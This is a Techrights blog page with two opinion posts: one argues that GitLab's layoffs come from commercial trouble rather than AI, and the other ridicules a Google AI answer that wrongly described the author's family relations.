⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢱⣶⢿⢺⢸⡇⡿⠟⣟⣟⢿⡇⡟⣿⠿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣾⣾⣾⣷⣾⣷⣷⣷⣿⣷⣷⣿⣾⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣛⣭⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣛⣭⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⢿⣿⣿⣿⣿⣿⣿⢿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣛⣭⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏ ⣿⣿⣿⣷⣧⣿⣽⣿⣏⣿⣽⣿⡾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣛⣭⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏ ⣿⣿⣾⣿⣿⣿⣾⣿⣿⣾⣾⣿⣿⣿⣿⣿⣿⡿⠛⣻⣭⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠑ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣅ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢟ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 762 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/GitLab_the_Latest_Company_to_Do_Mass_Layoffs_and_Use_Slop_as_th.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/GitLab_the_Latest_Company_to_Do_Mass_Layoffs_and_Use_Slop_as_th.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ GitLab the Latest Company to Do Mass Layoffs and Use Slop as the Go-to Excuse (GitLab Users Should Worry Too)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 Months ago: The_Register_MS_Does_Not_Know_the_Difference_Between_Microsoft GitHub_and_GitLab Thomas Claburn (The_Register_MS) has this_new_report about how "GitLab has opened the voluntary separation window and hopes an unspecified number of employees will exit the busniess [sic] to help it become "the trusted enterprise platform for software creation in the AI era." According to CEO Bill Staples, the company's effort to trim its workforce differs from other AI- related layoffs." He probably worked on this too quickly because of the obvious typos (see above) that any simple spellchecker would catch easily. The reality is, as we put it years ago: GitLab_the_Company,_Just_Like_GitHub_ (Now_Part_of_Microsoft,_Going_Through_Several_Rounds_of_Layoffs_This_Year,_Even Office_Shutdowns),_is_Sinking_Deep_Into_Debt_and_Showing_the_Risk_of Outsourcing This round of layoffs (disguised as something else) has nothing to do with slop ("hey hi"). It's about commercial problems. As we put it days ago in relation to Clownflare (also using slop as an excuse): Cloudflare_is_a_Giant_Pile_of_Debt,_Now_There_Are_Mass_Layoffs_and_Media Coverage_About_This_is_Churnalism,_Sometimes_by_Slopfarms_(False_Excuses) Months earlier: Clownflare_is_in_Trouble_as_Its_Debt_More_Than_Doubled_in_Less Than_a_Year,_Expect_Further_Enshittification If your project (or projects... or company) depended on GitLab and/or Cloudflare, then you have lots to worry about. Those aren't communities but for-profit companies. GitLab isn't being developed by an altruistic community and no-cost deployments were offered by GitLab to selective projects as bait and for marketing (creating a mere sense or false impression of widespread adoption in Free software communities). Forgejo is the way_to_go_for_Web-based_Git_interfaces and there are many simpler alternatives (that cover the key needs). Half a decade ago we developed our own; it uses Gemini Protocol. █ * The_Corrupt_Lecture_the_Non-Corrupt_-_Part_XX_-_EPO_Management's_Unified_ (One)_Voice_or_Policy_is,_Doing_Cocaine_is_OK_When_You're_a_Friend_and/or Family_of_President_Campinos * Jim_Zemlin/Linux_Foundation_Selling_Anthropic_Slop_After_Getting_Bribed for_Slop_Marketing_('Linux'_Foundation_is_a_Pay-to-Say_For-Profit Marketing_Company_That_Buys_and_Manipulates_the_Media_Based_on_False Pretences) ䷩ 𝚕𝚒𝚗𝚎 837 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Google_Hey_Hi_Slop_Having_a_Stroke_Thinks_I_am_Married_to_the_G.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Google_Hey_Hi_Slop_Having_a_Stroke_Thinks_I_am_Married_to_the_G.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Google "Hey Hi" (Slop) Having a Stroke, Thinks I am Married to the Grandmother of My Grandfather⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026, updated May 12, 2026 Seriously! Related: Ray_Stevens_-_"I'm_My_Own_Grandpa"_(Live_on_CabaRay_Nashville) 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Ray Stevens - 'I'm My Own Grandpa' (Live on CabaRay Nashville)⦈ Some days ago we showed that Google's slop 'thinks' wrong things about RMS, proving his point that LLMs are just unreliable "bullshit generators", and today it 'says' he only temporarily resigned from MIT. Today I was horrified to learn that I am married to someone born in 1868 at Münster. Slop is for "entertainment purposes", according to Microsoft. We agree with Microsoft on that. But it's not exactly entertaining that my spouse is my grandpa's grandmother. She died in Mainz 86 years ago. LLMs can produce horrible things (see below). █ Related: (last week) Google_Slop_Contains_Serious_Errors,_Google_Has_Just_Been Sued_for_1.5_Million_Dollars_by_One_Victim_of_It * If_IBM_Suddenly_Vanished_in_the_1980s,_There_Would_be_Chaos._Not_Anymore. * Richard_Stallman_to_Give_Public_Talk_in_Erlangen,_Germany_(Next_European Tour) ⠀⠀⠀⠀⠀⠀⠀⢹⣿⡪⣝⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠛⠃⠀⠀⠀⣠⡀⠀⠀⠀⠀⡀⡄⡆⡄⠂⣿⢸⡆⣇⡇⢠⣿⡄⡄⢸⡄⠀ ⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⡿⠿⢿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠛⠛⠛⠁⠀⡇⡇⡇⡇⡇⢰⢻⢸⡇⣿⣿⢸⣿⡇⣿⢸⡇⠀ ⡤⡀⠀⠀⠀⠀⠀⠀⢸⣯⡝⣛⣽⣯⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⠀⠀⣠⣤⣤⣄⣀⠀⡇⣧⣷⣧⣧⢸⢸⢸⡇⢿⣿⢸⣿⡇⣿⠈⣧⠀ ⣿⣷⣤⣄⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⢻⢹⣿⢸⢸⣿⣧⣸⣿⣾⣿⣷⣿⡇⣿⠀ ⣿⣿⣿⣿⣆⡀⠀⢀⣠⡾⠻⣿⡛⢉⠙⡟⣷⡢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣿⢸⢸⣿⣸⣸⣿⣿⣿⣿⣿⣿⣿⣿⣇⣿⢀ ⣿⣿⣿⠿⠿⠶⠿⢛⡚⠁⠀⠹⣿⣷⡆⡇⣿⣿⡌⠑⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠃⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⣹⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠚⠶⣽⣦⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠉⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⠿⠟⠫⢹⣿⣿⣿⣇⠀⠀⠀⣤⣤⠀⠀⠀⠀⠀⠀⢩⣿⣾⣯⣿⣷⣾⣿⣶⣦⣀⣰⣦⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⡀⣿⣿⡇⡀⠀⠐⣿⣿⣿⣿⣿⠀⠀⠀⠋⠉⠀⠀⠀⠀⣸⡄⢠⣾⣽⢿⣿⣿⣿⢿⣿⣋⠯⠛⠿⠀⠆⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠈⠀⠘⢿⡿⠁⠀⠀⢹⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⣠⣿⣯⡾⠟⠁⠀⢿⣹⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠉⠉⢀⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⢿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⠛⠁⠀⠀⠸⣄⣸⢱⣸⡝⠃⠱⡛⠂⢀⠀⣀⣀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠀⠀⠀⠛⠛ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠇⠐⠻⠿⠿⠇⠐⠀⠈⠀⠁⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣻⡫⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀ ⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠄⠂⠀⠀⠀⠁⠀⠀⠀⠀⠀⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⡿⣿⡧⠙⠻⣿⣦⡀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣶⠃⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⢰⣶⣿⣿⡏⠀⠀⢀⣀⣿⣿⣿⣿⣷⠙⢯⠟⠁⠀⠀⠈⠙⣷⣤⣤⡄⣤⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡿⠀⠀⠀⠀⠀⠠⢤⢸⣈⣈⡋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠻⠿⠝⢺⣿⣿⣿⢠⣿⡎⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀ 